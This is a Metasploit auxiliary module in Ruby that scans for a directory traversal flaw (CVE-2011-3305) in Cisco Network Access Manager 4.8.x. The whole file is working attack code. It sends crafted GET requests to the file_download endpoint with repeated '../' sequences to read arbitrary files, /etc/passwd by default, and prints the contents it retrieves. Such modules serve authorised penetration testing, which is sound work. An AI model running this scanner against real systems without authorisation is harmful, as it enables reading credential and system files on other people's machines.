1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Scanner
9

10
  def initialize
11
    super(
12
      'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
13
      'Description' => %q{
14
        This module tests whether a directory traversal vulnerability is present
15
        in versions of Cisco Network Access Manager 4.8.x You may wish to change
16
        FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.
17
        },
18
      'References' => [
19
        [ 'CVE', '2011-3305' ],
20
        [ 'OSVDB', '76080']
21
      ],
22
      'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
23
      'License' => MSF_LICENSE,
24
      'DefaultOptions' => {
25
        'SSL' => true
26
      }
27
    )
28

29
    register_options(
30
      [
31
        Opt::RPORT(443),
32
        OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
33
        OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
34
      ]
35
    )
36
  end
37

38
  def run_host(ip)
39
    traversal = '../../'
40
    part1 = '/admin/file_download?tag='
41
    part2 = '&fileType=snapshot'
42

43
    begin
44
      print_status("Attempting to connect to #{rhost}:#{rport}")
45
      res = send_request_raw(
46
        {
47
          'method' => 'GET',
48
          'uri' => '/admin',
49
        }, 25
50
      )
51

52
      if (res)
53
        1.upto(datastore['MAXDIRS']) do |level|
54
          try = traversal * level
55
          traversalstring = part1 + try + datastore['FILE'] + part2
56
          res = send_request_raw(
57
            {
58
              'method' => 'GET',
59
              'uri' => traversalstring,
60
            }, 25
61
          )
62
          if (res and res.code == 200)
63
            print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}")
64
            break
65
          elsif (res and res.code)
66
            print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n")
67
          end
68
        end
69
      end
70
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
71
    rescue ::Timeout::Error, ::Errno::EPIPE
72
    end
73
  end
74
end
75

76